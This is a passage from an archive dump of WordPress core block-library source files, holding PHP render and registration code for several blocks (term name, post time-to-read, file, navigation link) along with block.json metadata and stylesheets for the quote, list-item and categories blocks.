$term = get_term( $block->context['termId'], $block->context['taxonomy'] ); } else { $term = get_queried_object(); if ( ! $term instanceof WP_Term ) { $term = null; } } if ( ! $term || is_wp_error( $term ) ) { return ''; } $term_name = $term->name; $level = isset( $attributes['level'] ) ? $attributes['level'] : 0; $tag_name = 0 === $level ? 'p' : 'h' . (int) $level; if ( isset( $attributes['isLink'] ) && $attributes['isLink'] ) { $term_link = get_term_link( $term ); if ( ! is_wp_error( $term_link ) ) { $term_name = sprintf( '<a href="%1$s">%2$s</a>', esc_url( $term_link ), $term_name ); } } $classes = array(); if ( isset( $attributes['textAlign'] ) ) { $classes[] = 'has-text-align-' . $attributes['textAlign']; } if ( isset( $attributes['style']['elements']['link']['color']['text'] ) ) { $classes[] = 'has-link-color'; } $wrapper_attributes = get_block_wrapper_attributes( array( 'class' => implode( ' ', $classes ) ) ); return sprintf( '<%1$s %2$s>%3$s</%1$s>', $tag_name, $wrapper_attributes, $term_name ); } /** * Registers the `core/term-name` block on the server. * * @since 6.9.0 */ function register_block_core_term_name() { register_block_type_from_metadata( __DIR__ . '/term-name', array( 'render_callback' => 'render_block_core_term_name', ) ); } add_action( 'init', 'register_block_core_term_name' ); quote/theme.min.css 0000644 00000000754 15154763127 0010320 0 ustar 00 .wp-block-quote{border-left:.25em solid;margin:0 0 1.75em;padding-left:1em}.wp-block-quote cite,.wp-block-quote footer{color:currentColor;font-size:.8125em;font-style:normal;position:relative}.wp-block-quote:where(.has-text-align-right){border-left:none;border-right:.25em solid;padding-left:0;padding-right:1em}.wp-block-quote:where(.has-text-align-center){border:none;padding-left:0}.wp-block-quote.is-large,.wp-block-quote.is-style-large,.wp-block-quote:where(.is-style-plain){border:none} quote/theme.css 0000644 00000001044 15154763127 0007527 0 ustar 00 .wp-block-quote{ border-left:.25em solid; margin:0 0 1.75em; padding-left:1em; } .wp-block-quote cite,.wp-block-quote footer{ color:currentColor; font-size:.8125em; font-style:normal; position:relative; } .wp-block-quote:where(.has-text-align-right){ border-left:none; border-right:.25em solid; padding-left:0; padding-right:1em; } .wp-block-quote:where(.has-text-align-center){ border:none; padding-left:0; } .wp-block-quote.is-large,.wp-block-quote.is-style-large,.wp-block-quote:where(.is-style-plain){ border:none; } quote/block.json 0000644 00000004257 15154763127 0007711 0 ustar 00 { "$schema": "https://schemas.wp.org/trunk/block.json", "apiVersion": 3, "name": "core/quote", "title": "Quote", "category": "text", "description": "Give quoted text visual emphasis. \"In quoting others, we cite ourselves.\" — Julio Cortázar", "keywords": [ "blockquote", "cite" ], "textdomain": "default", "attributes": { "value": { "type": "string", "source": "html", "selector": "blockquote", "multiline": "p", "default": "", "role": "content" }, "citation": { "type": "rich-text", "source": "rich-text", "selector": "cite", "role": "content" }, "textAlign": { "type": "string" } }, "supports": { "anchor": true, "align": [ "left", "right", "wide", "full" ], "html": false, "background": { "backgroundImage": true, "backgroundSize": true, "__experimentalDefaultControls": { "backgroundImage": true } }, "__experimentalBorder": { "color": true, "radius": true, "style": true, "width": true, "__experimentalDefaultControls": { "color": true, "radius": true, "style": true, "width": true } }, "dimensions": { "minHeight": true, "__experimentalDefaultControls": { "minHeight": false } }, "__experimentalOnEnter": true, "__experimentalOnMerge": true, "typography": { "fontSize": true, "lineHeight": true, "__experimentalFontFamily": true, "__experimentalFontWeight": true, "__experimentalFontStyle": true, "__experimentalTextTransform": true, "__experimentalTextDecoration": true, "__experimentalLetterSpacing": true, "__experimentalDefaultControls": { "fontSize": true } }, "color": { "gradients": true, "heading": true, "link": true, "__experimentalDefaultControls": { "background": true, "text": true } }, "layout": { "allowEditing": false }, "spacing": { "blockGap": true, "padding": true, "margin": true }, "interactivity": { "clientNavigation": true }, "allowedBlocks": true }, "styles": [ { "name": "default", "label": "Default", "isDefault": true }, { "name": "plain", "label": "Plain" } ], "editorStyle": "wp-block-quote-editor", "style": "wp-block-quote" } quote/theme-rtl.css 0000644 00000001047 15154763127 0010331 0 ustar 00 .wp-block-quote{ border-right:.25em solid; margin:0 0 1.75em; padding-right:1em; } .wp-block-quote cite,.wp-block-quote footer{ color:currentColor; font-size:.8125em; font-style:normal; position:relative; } .wp-block-quote:where(.has-text-align-right){ border-left:.25em solid; border-right:none; padding-left:1em; padding-right:0; } .wp-block-quote:where(.has-text-align-center){ border:none; padding-right:0; } .wp-block-quote.is-large,.wp-block-quote.is-style-large,.wp-block-quote:where(.is-style-plain){ border:none; } quote/theme-rtl.min.css 0000644 00000000757 15154763127 0011122 0 ustar 00 .wp-block-quote{border-right:.25em solid;margin:0 0 1.75em;padding-right:1em}.wp-block-quote cite,.wp-block-quote footer{color:currentColor;font-size:.8125em;font-style:normal;position:relative}.wp-block-quote:where(.has-text-align-right){border-left:.25em solid;border-right:none;padding-left:1em;padding-right:0}.wp-block-quote:where(.has-text-align-center){border:none;padding-right:0}.wp-block-quote.is-large,.wp-block-quote.is-style-large,.wp-block-quote:where(.is-style-plain){border:none} quote/style-rtl.css 0000644 00000001346 15154763127 0010371 0 ustar 00 .wp-block-quote{ box-sizing:border-box; overflow-wrap:break-word; } .wp-block-quote.is-large:where(:not(.is-style-plain)),.wp-block-quote.is-style-large:where(:not(.is-style-plain)){ margin-bottom:1em; padding:0 1em; } .wp-block-quote.is-large:where(:not(.is-style-plain)) p,.wp-block-quote.is-style-large:where(:not(.is-style-plain)) p{ font-size:1.5em; font-style:italic; line-height:1.6; } .wp-block-quote.is-large:where(:not(.is-style-plain)) cite,.wp-block-quote.is-large:where(:not(.is-style-plain)) footer,.wp-block-quote.is-style-large:where(:not(.is-style-plain)) cite,.wp-block-quote.is-style-large:where(:not(.is-style-plain)) footer{ font-size:1.125em; text-align:left; } .wp-block-quote>cite{ display:block; } quote/style-rtl.min.css 0000644 00000001272 15154763127 0011151 0 ustar 00 .wp-block-quote{box-sizing:border-box;overflow-wrap:break-word}.wp-block-quote.is-large:where(:not(.is-style-plain)),.wp-block-quote.is-style-large:where(:not(.is-style-plain)){margin-bottom:1em;padding:0 1em}.wp-block-quote.is-large:where(:not(.is-style-plain)) p,.wp-block-quote.is-style-large:where(:not(.is-style-plain)) p{font-size:1.5em;font-style:italic;line-height:1.6}.wp-block-quote.is-large:where(:not(.is-style-plain)) cite,.wp-block-quote.is-large:where(:not(.is-style-plain)) footer,.wp-block-quote.is-style-large:where(:not(.is-style-plain)) cite,.wp-block-quote.is-style-large:where(:not(.is-style-plain)) footer{font-size:1.125em;text-align:left}.wp-block-quote>cite{display:block} quote/style.css 0000644 00000001347 15154763127 0007573 0 ustar 00 .wp-block-quote{ box-sizing:border-box; overflow-wrap:break-word; } .wp-block-quote.is-large:where(:not(.is-style-plain)),.wp-block-quote.is-style-large:where(:not(.is-style-plain)){ margin-bottom:1em; padding:0 1em; } .wp-block-quote.is-large:where(:not(.is-style-plain)) p,.wp-block-quote.is-style-large:where(:not(.is-style-plain)) p{ font-size:1.5em; font-style:italic; line-height:1.6; } .wp-block-quote.is-large:where(:not(.is-style-plain)) cite,.wp-block-quote.is-large:where(:not(.is-style-plain)) footer,.wp-block-quote.is-style-large:where(:not(.is-style-plain)) cite,.wp-block-quote.is-style-large:where(:not(.is-style-plain)) footer{ font-size:1.125em; text-align:right; } .wp-block-quote>cite{ display:block; } quote/style.min.css 0000644 00000001273 15154763127 0010353 0 ustar 00 .wp-block-quote{box-sizing:border-box;overflow-wrap:break-word}.wp-block-quote.is-large:where(:not(.is-style-plain)),.wp-block-quote.is-style-large:where(:not(.is-style-plain)){margin-bottom:1em;padding:0 1em}.wp-block-quote.is-large:where(:not(.is-style-plain)) p,.wp-block-quote.is-style-large:where(:not(.is-style-plain)) p{font-size:1.5em;font-style:italic;line-height:1.6}.wp-block-quote.is-large:where(:not(.is-style-plain)) cite,.wp-block-quote.is-large:where(:not(.is-style-plain)) footer,.wp-block-quote.is-style-large:where(:not(.is-style-plain)) cite,.wp-block-quote.is-style-large:where(:not(.is-style-plain)) footer{font-size:1.125em;text-align:right}.wp-block-quote>cite{display:block} list-item/block.json 0000644 00000002677 15154763127 0010467 0 ustar 00 { "$schema": "https://schemas.wp.org/trunk/block.json", "apiVersion": 3, "name": "core/list-item", "title": "List Item", "category": "text", "parent": [ "core/list" ], "allowedBlocks": [ "core/list" ], "description": "An individual item within a list.", "textdomain": "default", "attributes": { "placeholder": { "type": "string" }, "content": { "type": "rich-text", "source": "rich-text", "selector": "li", "role": "content" } }, "supports": { "anchor": true, "className": false, "splitting": true, "__experimentalBorder": { "color": true, "radius": true, "style": true, "width": true }, "color": { "gradients": true, "link": true, "background": true, "__experimentalDefaultControls": { "text": true } }, "spacing": { "margin": true, "padding": true, "__experimentalDefaultControls": { "margin": false, "padding": false } }, "typography": { "fontSize": true, "lineHeight": true, "__experimentalFontFamily": true, "__experimentalFontWeight": true, "__experimentalFontStyle": true, "__experimentalTextTransform": true, "__experimentalTextDecoration": true, "__experimentalLetterSpacing": true, "__experimentalDefaultControls": { "fontSize": true } }, "interactivity": { "clientNavigation": true } }, "selectors": { "root": ".wp-block-list > li", "border": ".wp-block-list:not(.wp-block-list .wp-block-list) > li" } } post-time-to-read.php 0000644 00000014535 15154763127 0010552 0 ustar 00 <?php /** * Server-side rendering of the `core/post-time-to-read` block. * * @package WordPress */ /** * Counts words or characters in a provided text string. * * This function currently employs an array of regular expressions * to parse HTML and count words, which may result in inaccurate * word counts. However, it is designed primarily to agree with the * corresponding JavaScript function. * * Any improvements in the word counting, for example with the HTML API * and {@see \IntlBreakIterator::createWordInstance()} should coordinate * with changes to the JavaScript implementation to ensure consistency * between the editor and the rendered page. * * @since 6.9.0 * * @param string $text Text to count elements in. * @param string $type The type of count. Accepts 'words', 'characters_excluding_spaces', or 'characters_including_spaces'. * * @return string The rendered word count. */ function block_core_post_time_to_read_word_count( $text, $type ) { $settings = array( 'html_regexp' => '/<\/?[a-z][^>]*?>/i', 'html_comment_regexp' => '/<!--[\s\S]*?-->/', 'space_regexp' => '/ | /i', 'html_entity_regexp' => '/&\S+?;/', 'connector_regexp' => "/--|\x{2014}/u", 'remove_regexp' => "/[\x{0021}-\x{0040}\x{005B}-\x{0060}\x{007B}-\x{007E}\x{0080}-\x{00BF}\x{00D7}\x{00F7}\x{2000}-\x{2BFF}\x{2E00}-\x{2E7F}]/u", 'astral_regexp' => "/[\x{010000}-\x{10FFFF}]/u", 'words_regexp' => '/\S\s+/u', 'characters_excluding_spaces_regexp' => '/\S/u', 'characters_including_spaces_regexp' => "/[^\f\n\r\t\v\x{00AD}\x{2028}\x{2029}]/u", ); $count = 0; if ( '' === trim( $text ) ) { return $count; } // Sanitize type to one of three possibilities: 'words', 'characters_excluding_spaces' or 'characters_including_spaces'. if ( 'characters_excluding_spaces' !== $type && 'characters_including_spaces' !== $type ) { $type = 'words'; } $text .= "\n"; // Replace all HTML with a new-line. $text = preg_replace( $settings['html_regexp'], "\n", $text ); // Remove all HTML comments. $text = preg_replace( $settings['html_comment_regexp'], '', $text ); // If a shortcode regular expression has been provided use it to remove shortcodes. if ( ! empty( $settings['shortcodes_regexp'] ) ) { $text = preg_replace( $settings['shortcodes_regexp'], "\n", $text ); } // Normalize non-breaking space to a normal space. $text = preg_replace( $settings['space_regexp'], ' ', $text ); if ( 'words' === $type ) { // Remove HTML Entities. $text = preg_replace( $settings['html_entity_regexp'], '', $text ); // Convert connectors to spaces to count attached text as words. $text = preg_replace( $settings['connector_regexp'], ' ', $text ); // Remove unwanted characters. $text = preg_replace( $settings['remove_regexp'], '', $text ); } else { // Convert HTML Entities to "a". $text = preg_replace( $settings['html_entity_regexp'], 'a', $text ); // Remove surrogate points. $text = preg_replace( $settings['astral_regexp'], 'a', $text ); } // Match with the selected type regular expression to count the items. return (int) preg_match_all( $settings[ $type . '_regexp' ], $text ); } /** * Renders the `core/post-time-to-read` block on the server. * * @since 6.9.0 * * @param array $attributes Block attributes. * @param string $content Block default content. * @param WP_Block $block Block instance. * @return string Returns the rendered post author name block. */ function render_block_core_post_time_to_read( $attributes, $content, $block ) { if ( ! isset( $block->context['postId'] ) ) { return ''; } $content = get_the_content(); $average_reading_rate = isset( $attributes['averageReadingSpeed'] ) ? $attributes['averageReadingSpeed'] : 189; $display_mode = isset( $attributes['displayMode'] ) ? $attributes['displayMode'] : 'time'; $word_count_type = wp_get_word_count_type(); $total_words = block_core_post_time_to_read_word_count( $content, $word_count_type ); $parts = array(); // Add "time to read" part, if enabled. if ( 'time' === $display_mode ) { if ( ! empty( $attributes['displayAsRange'] ) ) { // Calculate faster reading rate with 20% speed = lower minutes, // and slower reading rate with 20% speed = higher minutes. $min_minutes = max( 1, (int) round( $total_words / $average_reading_rate * 0.8 ) ); $max_minutes = max( 1, (int) round( $total_words / $average_reading_rate * 1.2 ) ); if ( $min_minutes === $max_minutes ) { $max_minutes = $min_minutes + 1; } /* translators: 1: minimum minutes, 2: maximum minutes to read the post. */ $time_string = sprintf( /* translators: 1: minimum minutes, 2: maximum minutes to read the post. */ _x( '%1$s–%2$s minutes', 'Range of minutes to read' ), $min_minutes, $max_minutes ); } else { $minutes_to_read = max( 1, (int) round( $total_words / $average_reading_rate ) ); $time_string = sprintf( /* translators: %s: the number of minutes to read the post. */ _n( '%s minute', '%s minutes', $minutes_to_read ), $minutes_to_read ); } $parts[] = $time_string; } // Add "word count" part, if enabled. if ( 'words' === $display_mode ) { $word_count_string = 'words' === $word_count_type ? sprintf( /* translators: %s: the number of words in the post. */ _n( '%s word', '%s words', $total_words ), number_format_i18n( $total_words ) ) : sprintf( /* translators: %s: the number of characters in the post. */ _n( '%s character', '%s characters', $total_words ), number_format_i18n( $total_words ) ); $parts[] = $word_count_string; } $display_string = implode( '<br>', $parts ); $align_class_name = empty( $attributes['textAlign'] ) ? '' : "has-text-align-{$attributes['textAlign']}"; $wrapper_attributes = get_block_wrapper_attributes( array( 'class' => $align_class_name ) ); return sprintf( '<div %1$s>%2$s</div>', $wrapper_attributes, $display_string ); } /** * Registers the `core/post-time-to-read` block on the server. * * @since 6.9.0 */ function register_block_core_post_time_to_read() { register_block_type_from_metadata( __DIR__ . '/post-time-to-read', array( 'render_callback' => 'render_block_core_post_time_to_read', ) ); } add_action( 'init', 'register_block_core_post_time_to_read' ); file.php 0000644 00000003527 15154763127 0006216 0 ustar 00 <?php /** * Server-side rendering of the `core/file` block. * * @package WordPress */ /** * When the `core/file` block is rendering, check if we need to enqueue the `wp-block-file-view` script. * * @since 5.8.0 * * @param array $attributes The block attributes. * @param string $content The block content. * * @return string Returns the block content. */ function render_block_core_file( $attributes, $content ) { if ( empty( $attributes['displayPreview'] ) ) { return $content; } // If it's interactive, enqueue the script module and add the directives. wp_enqueue_script_module( '@wordpress/block-library/file/view' ); $processor = new WP_HTML_Tag_Processor( $content ); if ( $processor->next_tag() ) { $processor->set_attribute( 'data-wp-interactive', 'core/file' ); } // If there are no OBJECT elements, something might have already modified the block. if ( ! $processor->next_tag( 'OBJECT' ) ) { return $content; } $processor->set_attribute( 'data-wp-bind--hidden', '!state.hasPdfPreview' ); $processor->set_attribute( 'hidden', true ); $filename = $processor->get_attribute( 'aria-label' ); $has_filename = is_string( $filename ) && ! empty( $filename ) && 'PDF embed' !== $filename; $label = $has_filename ? sprintf( /* translators: %s: filename. */ __( 'Embed of %s.' ), $filename ) : __( 'PDF embed' ); // Update object's aria-label attribute if present in block HTML. // Match an aria-label attribute from an object tag. $processor->set_attribute( 'aria-label', $label ); return $processor->get_updated_html(); } /** * Registers the `core/file` block on server. * * @since 5.8.0 */ function register_block_core_file() { register_block_type_from_metadata( __DIR__ . '/file', array( 'render_callback' => 'render_block_core_file', ) ); } add_action( 'init', 'register_block_core_file' ); categories/editor-rtl.css 0000644 00000000336 15154763127 0011505 0 ustar 00 .wp-block-categories ul{ padding-right:2.5em; } .wp-block-categories ul ul{ margin-top:6px; } [data-align=center] .wp-block-categories{ text-align:center; } .wp-block-categories__indentation{ padding-right:16px; } categories/editor-rtl.min.css 0000644 00000000306 15154763127 0012264 0 ustar 00 .wp-block-categories ul{padding-right:2.5em}.wp-block-categories ul ul{margin-top:6px}[data-align=center] .wp-block-categories{text-align:center}.wp-block-categories__indentation{padding-right:16px} categories/block.json 0000644 00000003634 15154763127 0010677 0 ustar 00 { "$schema": "https://schemas.wp.org/trunk/block.json", "apiVersion": 3, "name": "core/categories", "title": "Terms List", "category": "widgets", "description": "Display a list of all terms of a given taxonomy.", "keywords": [ "categories" ], "textdomain": "default", "attributes": { "taxonomy": { "type": "string", "default": "category" }, "displayAsDropdown": { "type": "boolean", "default": false }, "showHierarchy": { "type": "boolean", "default": false }, "showPostCounts": { "type": "boolean", "default": false }, "showOnlyTopLevel": { "type": "boolean", "default": false }, "showEmpty": { "type": "boolean", "default": false }, "label": { "type": "string", "role": "content" }, "showLabel": { "type": "boolean", "default": true } }, "usesContext": [ "enhancedPagination" ], "supports": { "align": true, "html": false, "spacing": { "margin": true, "padding": true, "__experimentalDefaultControls": { "margin": false, "padding": false } }, "typography": { "fontSize": true, "lineHeight": true, "__experimentalFontFamily": true, "__experimentalFontWeight": true, "__experimentalFontStyle": true, "__experimentalTextTransform": true, "__experimentalTextDecoration": true, "__experimentalLetterSpacing": true, "__experimentalDefaultControls": { "fontSize": true } }, "color": { "gradients": true, "link": true, "__experimentalDefaultControls": { "background": true, "text": true, "link": true } }, "interactivity": { "clientNavigation": true }, "__experimentalBorder": { "radius": true, "color": true, "width": true, "style": true, "__experimentalDefaultControls": { "radius": true, "color": true, "width": true, "style": true } } }, "editorStyle": "wp-block-categories-editor", "style": "wp-block-categories" } categories/style-rtl.css 0000644 00000000505 15154763127 0011355 0 ustar 00 .wp-block-categories{ box-sizing:border-box; } .wp-block-categories.alignleft{ margin-right:2em; } .wp-block-categories.alignright{ margin-left:2em; } .wp-block-categories.wp-block-categories-dropdown.aligncenter{ text-align:center; } .wp-block-categories .wp-block-categories__label{ display:block; width:100%; } categories/style-rtl.min.css 0000644 00000000445 15154763127 0012142 0 ustar 00 .wp-block-categories{box-sizing:border-box}.wp-block-categories.alignleft{margin-right:2em}.wp-block-categories.alignright{margin-left:2em}.wp-block-categories.wp-block-categories-dropdown.aligncenter{text-align:center}.wp-block-categories .wp-block-categories__label{display:block;width:100%} categories/editor.css 0000644 00000000334 15154763127 0010704 0 ustar 00 .wp-block-categories ul{ padding-left:2.5em; } .wp-block-categories ul ul{ margin-top:6px; } [data-align=center] .wp-block-categories{ text-align:center; } .wp-block-categories__indentation{ padding-left:16px; } categories/style.css 0000644 00000000505 15154763127 0010556 0 ustar 00 .wp-block-categories{ box-sizing:border-box; } .wp-block-categories.alignleft{ margin-right:2em; } .wp-block-categories.alignright{ margin-left:2em; } .wp-block-categories.wp-block-categories-dropdown.aligncenter{ text-align:center; } .wp-block-categories .wp-block-categories__label{ display:block; width:100%; } categories/editor.min.css 0000644 00000000304 15154763127 0011463 0 ustar 00 .wp-block-categories ul{padding-left:2.5em}.wp-block-categories ul ul{margin-top:6px}[data-align=center] .wp-block-categories{text-align:center}.wp-block-categories__indentation{padding-left:16px} categories/style.min.css 0000644 00000000445 15154763127 0011343 0 ustar 00 .wp-block-categories{box-sizing:border-box}.wp-block-categories.alignleft{margin-right:2em}.wp-block-categories.alignright{margin-left:2em}.wp-block-categories.wp-block-categories-dropdown.aligncenter{text-align:center}.wp-block-categories .wp-block-categories__label{display:block;width:100%} navigation-link.php 0000644 00000033211 15154763127 0010362 0 ustar 00 <?php /** * Server-side registering and rendering of the `core/navigation-link` block. * * @package WordPress */ /** * Build an array with CSS classes and inline styles defining the colors * which will be applied to the navigation markup in the front-end. * * @since 5.9.0 * * @param array $context Navigation block context. * @param array $attributes Block attributes. * @param bool $is_sub_menu Whether the link is part of a sub-menu. Default false. * @return array Colors CSS classes and inline styles. */ function block_core_navigation_link_build_css_colors( $context, $attributes, $is_sub_menu = false ) { $colors = array( 'css_classes' => array(), 'inline_styles' => '', ); // Text color. $named_text_color = null; $custom_text_color = null; if ( $is_sub_menu && array_key_exists( 'customOverlayTextColor', $context ) ) { $custom_text_color = $context['customOverlayTextColor']; } elseif ( $is_sub_menu && array_key_exists( 'overlayTextColor', $context ) ) { $named_text_color = $context['overlayTextColor']; } elseif ( array_key_exists( 'customTextColor', $context ) ) { $custom_text_color = $context['customTextColor']; } elseif ( array_key_exists( 'textColor', $context ) ) { $named_text_color = $context['textColor']; } elseif ( isset( $context['style']['color']['text'] ) ) { $custom_text_color = $context['style']['color']['text']; } // If has text color. if ( ! is_null( $named_text_color ) ) { // Add the color class. array_push( $colors['css_classes'], 'has-text-color', sprintf( 'has-%s-color', $named_text_color ) ); } elseif ( ! is_null( $custom_text_color ) ) { // Add the custom color inline style. $colors['css_classes'][] = 'has-text-color'; $colors['inline_styles'] .= sprintf( 'color: %s;', $custom_text_color ); } // Background color. $named_background_color = null; $custom_background_color = null; if ( $is_sub_menu && array_key_exists( 'customOverlayBackgroundColor', $context ) ) { $custom_background_color = $context['customOverlayBackgroundColor']; } elseif ( $is_sub_menu && array_key_exists( 'overlayBackgroundColor', $context ) ) { $named_background_color = $context['overlayBackgroundColor']; } elseif ( array_key_exists( 'customBackgroundColor', $context ) ) { $custom_background_color = $context['customBackgroundColor']; } elseif ( array_key_exists( 'backgroundColor', $context ) ) { $named_background_color = $context['backgroundColor']; } elseif ( isset( $context['style']['color']['background'] ) ) { $custom_background_color = $context['style']['color']['background']; } // If has background color. if ( ! is_null( $named_background_color ) ) { // Add the background-color class. array_push( $colors['css_classes'], 'has-background', sprintf( 'has-%s-background-color', $named_background_color ) ); } elseif ( ! is_null( $custom_background_color ) ) { // Add the custom background-color inline style. $colors['css_classes'][] = 'has-background'; $colors['inline_styles'] .= sprintf( 'background-color: %s;', $custom_background_color ); } return $colors; } /** * Build an array with CSS classes and inline styles defining the font sizes * which will be applied to the navigation markup in the front-end. * * @since 5.9.0 * * @param array $context Navigation block context. * @return array Font size CSS classes and inline styles. */ function block_core_navigation_link_build_css_font_sizes( $context ) { // CSS classes. $font_sizes = array( 'css_classes' => array(), 'inline_styles' => '', ); $has_named_font_size = array_key_exists( 'fontSize', $context ); $has_custom_font_size = isset( $context['style']['typography']['fontSize'] ); if ( $has_named_font_size ) { // Add the font size class. $font_sizes['css_classes'][] = sprintf( 'has-%s-font-size', $context['fontSize'] ); } elseif ( $has_custom_font_size ) { // Add the custom font size inline style. $font_sizes['inline_styles'] = sprintf( 'font-size: %s;', wp_get_typography_font_size_value( array( 'size' => $context['style']['typography']['fontSize'], ) ) ); } return $font_sizes; } /** * Returns the top-level submenu SVG chevron icon. * * @since 5.9.0 * * @return string */ function block_core_navigation_link_render_submenu_icon() { return '<svg xmlns="http://www.w3.org/2000/svg" width="12" height="12" viewBox="0 0 12 12" fill="none" aria-hidden="true" focusable="false"><path d="M1.50002 4L6.00002 8L10.5 4" stroke-width="1.5"></path></svg>'; } /** * Decodes a url if it's encoded, returning the same url if not. * * @since 6.2.0 * * @param string $url The url to decode. * * @return string $url Returns the decoded url. */ function block_core_navigation_link_maybe_urldecode( $url ) { $is_url_encoded = false; $query = parse_url( $url, PHP_URL_QUERY ); $query_params = wp_parse_args( $query ); foreach ( $query_params as $query_param ) { $can_query_param_be_encoded = is_string( $query_param ) && ! empty( $query_param ); if ( ! $can_query_param_be_encoded ) { continue; } if ( rawurldecode( $query_param ) !== $query_param ) { $is_url_encoded = true; break; } } if ( $is_url_encoded ) { return rawurldecode( $url ); } return $url; } /** * Renders the `core/navigation-link` block. * * @since 5.9.0 * * @param array $attributes The block attributes. * @param string $content The saved content. * @param WP_Block $block The parsed block. * * @return string Returns the post content with the legacy widget added. */ function render_block_core_navigation_link( $attributes, $content, $block ) { $navigation_link_has_id = isset( $attributes['id'] ) && is_numeric( $attributes['id'] ); $is_post_type = isset( $attributes['kind'] ) && 'post-type' === $attributes['kind']; $is_post_type = $is_post_type || isset( $attributes['type'] ) && ( 'post' === $attributes['type'] || 'page' === $attributes['type'] ); // Don't render the block's subtree if it is a draft or if the ID does not exist. if ( $is_post_type && $navigation_link_has_id ) { $post = get_post( $attributes['id'] ); /** * Filter allowed post_status for navigation link block to render. * * @since 6.8.0 * * @param array $post_status * @param array $attributes * @param WP_Block $block */ $allowed_post_status = (array) apply_filters( 'render_block_core_navigation_link_allowed_post_status', array( 'publish' ), $attributes, $block ); if ( ! $post || ! in_array( $post->post_status, $allowed_post_status, true ) ) { return ''; } } // Don't render the block's subtree if it has no label. if ( empty( $attributes['label'] ) ) { return ''; } $font_sizes = block_core_navigation_link_build_css_font_sizes( $block->context ); $classes = array_merge( $font_sizes['css_classes'] ); $style_attribute = $font_sizes['inline_styles']; $css_classes = trim( implode( ' ', $classes ) ); $has_submenu = count( $block->inner_blocks ) > 0; $kind = empty( $attributes['kind'] ) ? 'post_type' : str_replace( '-', '_', $attributes['kind'] ); $is_active = ! empty( $attributes['id'] ) && get_queried_object_id() === (int) $attributes['id'] && ! empty( get_queried_object()->$kind ); if ( is_post_type_archive() && ! empty( $attributes['url'] ) ) { $queried_archive_link = get_post_type_archive_link( get_queried_object()->name ); if ( $attributes['url'] === $queried_archive_link ) { $is_active = true; } } $wrapper_attributes = get_block_wrapper_attributes( array( 'class' => $css_classes . ' wp-block-navigation-item' . ( $has_submenu ? ' has-child' : '' ) . ( $is_active ? ' current-menu-item' : '' ), 'style' => $style_attribute, ) ); $html = '<li ' . $wrapper_attributes . '>' . '<a class="wp-block-navigation-item__content" '; // Start appending HTML attributes to anchor tag. if ( isset( $attributes['url'] ) ) { $html .= ' href="' . esc_url( block_core_navigation_link_maybe_urldecode( $attributes['url'] ) ) . '"'; } if ( $is_active ) { $html .= ' aria-current="page"'; } if ( isset( $attributes['opensInNewTab'] ) && true === $attributes['opensInNewTab'] ) { $html .= ' target="_blank" '; } if ( isset( $attributes['rel'] ) ) { $html .= ' rel="' . esc_attr( $attributes['rel'] ) . '"'; } elseif ( isset( $attributes['nofollow'] ) && $attributes['nofollow'] ) { $html .= ' rel="nofollow"'; } if ( isset( $attributes['title'] ) ) { $html .= ' title="' . esc_attr( $attributes['title'] ) . '"'; } // End appending HTML attributes to anchor tag. // Start anchor tag content. $html .= '>' . // Wrap title with span to isolate it from submenu icon. '<span class="wp-block-navigation-item__label">'; if ( isset( $attributes['label'] ) ) { $html .= wp_kses_post( $attributes['label'] ); } $html .= '</span>'; // Add description if available. if ( ! empty( $attributes['description'] ) ) { $html .= '<span class="wp-block-navigation-item__description">'; $html .= wp_kses_post( $attributes['description'] ); $html .= '</span>'; } $html .= '</a>'; // End anchor tag content. if ( isset( $block->context['showSubmenuIcon'] ) && $block->context['showSubmenuIcon'] && $has_submenu ) { // The submenu icon can be hidden by a CSS rule on the Navigation Block. $html .= '<span class="wp-block-navigation__submenu-icon">' . block_core_navigation_link_render_submenu_icon() . '</span>'; } if ( $has_submenu ) { $inner_blocks_html = ''; foreach ( $block->inner_blocks as $inner_block ) { $inner_blocks_html .= $inner_block->render(); } $html .= sprintf( '<ul class="wp-block-navigation__submenu-container">%s</ul>', $inner_blocks_html ); } $html .= '</li>'; return $html; } /** * Returns a navigation link variation * * @since 5.9.0 * * @param WP_Taxonomy|WP_Post_Type $entity post type or taxonomy entity. * @param string $kind string of value 'taxonomy' or 'post-type'. * * @return array */ function build_variation_for_navigation_link( $entity, $kind ) { $title = ''; $description = ''; if ( property_exists( $entity->labels, 'item_link' ) ) { $title = $entity->labels->item_link; } if ( property_exists( $entity->labels, 'item_link_description' ) ) { $description = $entity->labels->item_link_description; } $variation = array( 'name' => $entity->name, 'title' => $title, 'description' => $description, 'attributes' => array( 'type' => $entity->name, 'kind' => $kind, ), ); // Tweak some value for the variations. $variation_overrides = array( 'post_tag' => array( 'name' => 'tag', 'attributes' => array( 'type' => 'tag', 'kind' => $kind, ), ), 'post_format' => array( // The item_link and item_link_description for post formats is the // same as for tags, so need to be overridden. 'title' => __( 'Post Format Link' ), 'description' => __( 'A link to a post format' ), 'attributes' => array( 'type' => 'post_format', 'kind' => $kind, ), ), ); if ( array_key_exists( $entity->name, $variation_overrides ) ) { $variation = array_merge( $variation, $variation_overrides[ $entity->name ] ); } return $variation; } /** * Filters the registered variations for a block type. * Returns the dynamically built variations for all post-types and taxonomies. * * @since 6.5.0 * * @param array $variations Array of registered variations for a block type. * @param WP_Block_Type $block_type The full block type object. */ function block_core_navigation_link_filter_variations( $variations, $block_type ) { if ( 'core/navigation-link' !== $block_type->name ) { return $variations; } $generated_variations = block_core_navigation_link_build_variations(); return array_merge( $variations, $generated_variations ); } /** * Returns an array of variations for the navigation link block. * * @since 6.5.0 * * @return array */ function block_core_navigation_link_build_variations() { $post_types = get_post_types( array( 'show_in_nav_menus' => true ), 'objects' ); $taxonomies = get_taxonomies( array( 'show_in_nav_menus' => true ), 'objects' ); /* * Use two separate arrays as a way to order the variations in the UI. * Known variations (like Post Link and Page Link) are added to the * `built_ins` array. Variations for custom post types and taxonomies are * added to the `variations` array and will always appear after `built-ins. */ $built_ins = array(); $variations = array(); if ( $post_types ) { foreach ( $post_types as $post_type ) { $variation = build_variation_for_navigation_link( $post_type, 'post-type' ); if ( $post_type->_builtin ) { $built_ins[] = $variation; } else { $variations[] = $variation; } } } if ( $taxonomies ) { foreach ( $taxonomies as $taxonomy ) { $variation = build_variation_for_navigation_link( $taxonomy, 'taxonomy' ); if ( $taxonomy->_builtin ) { $built_ins[] = $variation; } else { $variations[] = $variation; } } } return array_merge( $built_ins, $variations ); } /** * Registers the navigation link block. * * @since 5.9.0 * * @uses render_block_core_navigation_link() * @throws WP_Error An WP_Error exception parsing the block definition. */ function register_block_core_navigation_link() { register_block_type_from_metadata( __DIR__ . '/navigation-link', array( 'render_callback' => 'render_block_core_navigation_link', ) ); } add_action( 'init', 